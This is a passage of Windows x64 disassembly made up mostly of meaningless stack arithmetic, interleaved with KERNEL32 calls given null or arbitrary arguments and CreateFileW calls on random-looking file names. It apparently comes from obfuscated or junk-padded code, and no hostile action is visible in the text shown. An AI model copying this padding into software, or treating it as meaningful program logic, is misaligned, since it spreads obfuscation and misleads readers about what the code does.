movsx eax, word [rax]
mov rcx, qword [0x14022bcb0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e10], ax
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0xc540]
movzx ecx, al
mov rax, qword [rsp + 0x84d0]
shl rax, cl
mov rcx, qword [rsp + 0xc890]
mov qword [rcx], rax
lea rax, [rsp + 0x393]
mov qword [rsp + 0xd158], rax
mov eax, dword [rsp + 0x4a70]
mov ecx, dword [0x14022a13c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8a7d
mov rcx, qword [rsp + 0xb2f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c9c], eax
mov rax, qword [rsp + 0xcf90]
mov rcx, qword [rsp + 0xca58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9150], rax
movzx eax, word [0x140229f34]
mov word [rsp + 0x2138], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, word [rsp + 0x1094]
mov rcx, qword [rsp + 0xcb80]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022bc28], ax
mov r9d, 0x265
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d34], eax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0xaea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbaf8]
mov qword [rcx], rax
lea rdx, [rsp + 0x4cf0]
mov rcx, qword [rsp + 0xc388]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47dc], eax
mov rax, qword [0x14022b9a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d7c]
and eax, ecx
mov word [rsp + 0x1624], ax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc358]
mov byte [rcx], al
mov eax, dword [rsp + 0x4120]
mov ecx, dword [rsp + 0x49d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4400], eax
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [rsp + 0x6f88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f80], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9bf7
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d38], eax
lea rax, [rsp + 0x4c84]
mov qword [rsp + 0xd160], rax
lea rdx, [rsp + 0x47e8]
mov rcx, qword [rsp + 0xaa28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4cd4], eax
movsx eax, word [rsp + 0x1dec]
mov rcx, qword [rsp + 0xc090]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb130]
mov word [rcx], ax
lea rcx, [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0xcaf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b8c], eax
movzx eax, word [rsp + 0x212c]
mov word [0x14022c038], ax
mov rax, qword [rsp + 0xc4c8]
mov rcx, qword [rsp + 0x9db0]
mov qword [rsp + 0xd170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd170]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6fb0], rax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xade8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0xc230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1fb0], ax
movzx eax, word [0x140229f98]
mov word [rsp + 0x213c], ax
mov rax, qword [rsp + 0xaa40]
mov ecx, dword [rsp + 0x413c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x482c], eax
mov r9d, 0x23a6
xor r8d, r8d
lea rdx, [rsp + 0xa7a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0x94a8]
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x374]
add eax, ecx
mov rcx, qword [rsp + 0xc2c8]
mov byte [rcx], al
lea rcx, [rsp + 0xbe50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8d28]
movzx ecx, al
mov rax, qword [rsp + 0x7f10]
sar rax, cl
mov qword [rsp + 0xbab8], rax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022a1a8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x94d4
mov rcx, qword [rsp + 0xb148]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x487c], eax
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b00], ax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x239]
and eax, ecx
mov byte [rsp + 0x2f0], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov dword [rsp + 0x4d40], eax
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xbc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa668]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbfd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd160]
mov ecx, dword [rsp + 0x4948]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d14], eax
mov rax, qword [rsp + 0xb7c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x343]
sar eax, cl
mov rcx, qword [rsp + 0xb988]
mov byte [rcx], al
lea rax, [rsp + 0x1d34]
mov qword [rsp + 0xd180], rax
movzx eax, word [rsp + 0x1938]
movzx ecx, word [rsp + 0x950]
xor eax, ecx
mov word [0x14022a0b0], ax
mov rax, qword [rsp + 0xc088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbef0], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
shl eax, cl
mov rcx, qword [rsp + 0xbe00]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.FVV01TN7tpnK2NsQzjWhfHGYh6DGtJ4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd188], rax
lea rax, [rsp + 0x1fa0]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [rsp + 0xbe60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc120]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4acc]
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0x71f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xd198], rax
lea rcx, [rsp + 0xccd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
movzx ecx, word [0x14022a178]
sub eax, ecx
mov word [rsp + 0xd30], ax
mov rcx, qword [rsp + 0xb520]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xada0]
mov qword [0x14022c040], rax
mov rax, qword [rsp + 0x9f80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49c8]
sar eax, cl
mov rcx, qword [rsp + 0xaac0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x38b]
mov byte [rsp + 0x3fe], al
mov rax, qword [0x14022bbf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb680]
mov word [rcx], ax
lea rax, [rsp + 0x1dc0]
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xb820]
mov rcx, qword [rsp + 0x8e60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x387]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xa3d8]
mov ecx, dword [rsp + 0x4838]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44f4], eax
movsx eax, word [0x140229f44]
movsx ecx, word [rsp + 0xac4]
and eax, ecx
mov word [rsp + 0x1e20], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x31b8
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b84], eax
movzx eax, word [rsp + 0x1fe0]
mov rcx, qword [rsp + 0xc9a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022bc28], ax
mov rax, qword [rsp + 0xa9f8]
mov qword [rsp + 0xd1a8], rax
mov rax, qword [rsp + 0x7e70]
mov rcx, qword [rsp + 0x9b90]
mov qword [rsp + 0xd1b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0xa3d0]
mov rcx, qword [rsp + 0xd0a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf20], rax
lea rax, [rsp + 0x1c9c]
mov qword [rsp + 0xd1b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14022bc00]
mov rcx, qword [rsp + 0x8c10]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xae18]
mov qword [rcx], rax
lea rax, [rsp + 0x350]
mov qword [rsp + 0xd1c0], rax
mov eax, dword [rsp + 0x4a98]
mov rcx, qword [rsp + 0xb2c8]
mov qword [rsp + 0xd1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x458c], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab20]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa968]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x4bf8]
mov qword [rsp + 0xd1d0], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc3f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022bbd0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0x2084]
movzx ecx, word [rsp + 0x20b8]
add eax, ecx
mov word [rsp + 0x1d70], ax
lea rax, [rsp + 0x1d44]
mov qword [rsp + 0xd1d8], rax
mov rax, qword [rsp + 0x8898]
mov rcx, qword [rsp + 0xa660]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x40f4]
shr eax, cl
mov dword [rsp + 0x39f4], eax
lea rcx, [rsp + 0xc9b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3dd]
and eax, ecx
mov byte [rsp + 0xce], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Lvk8RGsj_r6y6mp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
mov rcx, qword [0x14022a018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0xd1e8], rax
movzx eax, word [rsp + 0x1dc0]
mov rcx, qword [rsp + 0xbfc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
lea rcx, [rsp + 0xc438]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9bf8]
mov qword [0x14022c048], rax
movzx eax, word [rsp + 0x1f5c]
mov word [rsp + 0x2140], ax
mov rax, qword [rsp + 0xca50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa228]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xab18]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb757
mov rcx, qword [rsp + 0xac10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b8], eax
lea rdx, [rsp + 0x4c94]
mov rcx, qword [rsp + 0xcc50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [0x14022b858]
mov rcx, qword [rsp + 0xa808]
mov qword [rsp + 0xd1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9448], rax
lea rax, [rsp + 0x4b5c]
mov qword [rsp + 0xd1f8], rax
movsx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3ec], al
mov r9d, 0x1f7a
xor r8d, r8d
lea rdx, [rsp + 0xb580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4734], eax
lea rax, [rsp + 0x4ca0]
mov qword [rsp + 0xd200], rax
movzx eax, byte [rsp + 0x3de]
mov rcx, qword [rsp + 0xcb90]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc180]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc30]
mov qword [rsp + 0xd208], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd208]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9550], rax
movsx eax, word [0x14022b820]
mov rcx, qword [rsp + 0xbd78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14022bcd8], ax
movsx eax, word [rsp + 0x1e38]
movsx ecx, word [rsp + 0xc24]
add eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [0x14022bbb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20ec], ax
movzx eax, word [rsp + 0xac0]
mov word [rsp + 0x2144], ax
mov rax, qword [rsp + 0xc5f0]
mov rcx, qword [rsp + 0xb380]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb488], rax
lea rax, [rsp + 0x48ac]
mov qword [rsp + 0xd210], rax
lea rcx, [rsp + 0xd218]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xc250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x38f], al
movsx eax, word [rsp + 0x1174]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa460]
mov word [rcx], ax
lea rax, [0x14022b9e4]
mov qword [rsp + 0xd220], rax
mov rax, qword [rsp + 0xc220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8e0]
and rcx, rax
mov rax, rcx
mov qword [0x14022a1b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x8a18]
movzx ecx, al
mov rax, qword [rsp + 0x7568]
shl rax, cl
mov qword [rsp + 0xaf90], rax
lea rax, [0x14022bcf0]
mov qword [rsp + 0xd228], rax
mov rax, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0xca68]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaf30], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf534
mov rcx, qword [rsp + 0xc2f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ac8], eax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d9c], ax
lea rax, [rsp + 0x3994]
mov qword [rsp + 0xd230], rax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0xb820]
mov rax, qword [rax]
mov qword [rsp + 0xd238], rax
mov eax, dword [rsp + 0x4160]
mov ecx, dword [rsp + 0x4270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ae0], eax
lea rax, [rsp + 0x358]
mov qword [0x14022c050], rax
mov rax, qword [rsp + 0xc750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d98]
add eax, ecx
mov word [rsp + 0x1bb8], ax
lea rcx, [rsp + 0xc9b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1ef0]
mov qword [rsp + 0xd240], rax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12dc]
add eax, ecx
mov word [rsp + 0x1a64], ax
mov rax, qword [rsp + 0x7838]
mov rcx, qword [rsp + 0x8f38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38a]
cdq
idiv ecx
mov byte [rsp + 0x233], al
mov eax, dword [rsp + 0x4530]
mov dword [rsp + 0x4d4c], eax
movsx eax, word [rsp + 0x1cdc]
movsx ecx, word [rsp + 0x1ee0]
and eax, ecx
mov word [rsp + 0x2128], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.6LZOhdZ5TCN7kyXSZUDxC5A0z60y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd248], rax
mov rax, qword [rsp + 0xba80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dfc]
sar eax, cl
mov rcx, qword [0x14022c000]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x7540]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93a0], rax
movzx eax, word [rsp + 0x1b08]
movzx ecx, word [rsp + 0x179c]
sub eax, ecx
mov rcx, qword [rsp + 0xad80]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x39f0]
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e0]
and eax, ecx
mov byte [rsp + 0x2bb], al
mov rax, qword [rsp + 0xb730]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc518]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x33d], al
mov rax, qword [rsp + 0xc638]
mov rax, qword [rax]
mov qword [rsp + 0xd258], rax
mov rax, qword [0x14022b890]
mov ecx, dword [rsp + 0x3b10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d44], eax
movzx eax, word [rsp + 0x1d5c]
mov word [rsp + 0x2148], ax
movzx eax, word [rsp + 0x20c4]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022bd98]
mov word [rcx], ax
mov rax, qword [0x14022bc20]
mov rcx, qword [rsp + 0xb530]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xba90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0xb760]
mov qword [rsp + 0xd260], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd260]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7318], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [0x14022be68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcf8], ax
movzx eax, word [rsp + 0x1f58]
mov rcx, qword [rsp + 0xb588]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8e4], ax
lea rdx, [rsp + 0x4d50]
mov rcx, qword [rsp + 0xbee0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a08], eax
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xa940]
mov rcx, qword [rsp + 0x9ec0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8380], rax
mov rax, qword [rsp + 0xa838]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc910]
mov qword [rsp + 0xd268], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd268]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd018]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x74a8], rax
lea rax, [rsp + 0xec8]
mov qword [0x14022c058], rax
lea rcx, [rsp + 0xcbd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rdx, [rsp + 0x4d54]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c74], eax
movzx eax, word [rsp + 0x1f08]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa778]
mov word [rcx], ax
mov eax, dword [rsp + 0x4400]
mov dword [rsp + 0x4d58], eax
movzx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x354], al
lea rax, [rsp + 0xa3d0]
mov qword [rsp + 0xd270], rax
mov rax, qword [rsp + 0xad88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef0]
mov qword [rsp + 0xd278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd278]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7138], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb365
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b48], eax
movsx eax, byte [0x14022b814]
movsx ecx, byte [rsp + 0x3ec]
sub eax, ecx
mov rcx, qword [rsp + 0xcbf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
mov dword [rsp + 0x4d5c], eax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1fb8]
mov rcx, qword [rsp + 0xaec0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e44], ax
mov rax, qword [0x14022b908]
movzx eax, word [rax]
mov word [0x14022c060], ax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0xb050]
mov qword [rsp + 0xd280], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd280]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8c00], rax
movzx eax, word [rsp + 0x1ce4]
movzx ecx, word [rsp + 0x1fc0]
sub eax, ecx
mov word [rsp + 0xaa8], ax
movsx eax, word [rsp + 0x1d6c]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ed4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6a7c
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d60], eax
mov rax, qword [rsp + 0xd090]
mov rax, qword [rax]
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xd128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4584]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c04], eax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x29f], al
lea rdx, [rsp + 0x4974]
mov rcx, qword [rsp + 0xcf68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4740], eax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0x7138]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc4b8]
mov qword [rcx], rax
movzx eax, word [0x14022badc]
movzx ecx, word [rsp + 0x211c]
sub eax, ecx
mov word [rsp + 0x20ec], ax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc890]
mov qword [rsp + 0xd290], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd290]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14022a0b8], rax
lea rax, [rsp + 0x3f3]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xaac0]
mov rcx, qword [rsp + 0xbc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x48e0], eax
lea rax, [rsp + 0x1f28]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xb090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1aec], ax
mov rax, qword [rsp + 0xbbd0]
mov rcx, qword [rsp + 0xc600]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8050], rax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.soAcNbTxQK_fs733izH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd2a8], rax
mov rax, qword [rsp + 0xb128]
movzx eax, byte [rax]
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0xb928]
mov ecx, dword [rsp + 0x4924]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49a4], eax
movzx eax, word [rsp + 0x1de8]
mov word [rsp + 0x214c], ax
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
mov word [0x14022c064], ax
mov rax, qword [rsp + 0xb9d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x85f8], rax
mov rax, qword [0x14022bf38]
mov rcx, qword [rsp + 0xb658]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e90], rax
mov rax, qword [rsp + 0xad68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbd00]
sar rax, cl
mov rcx, qword [rsp + 0xad50]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d40]
mov rcx, qword [rsp + 0xcfe0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0xca98]
movzx eax, byte [rax]
mov byte [rsp + 0x401], al
mov rax, qword [rsp + 0xc170]
mov rcx, qword [rsp + 0xb200]
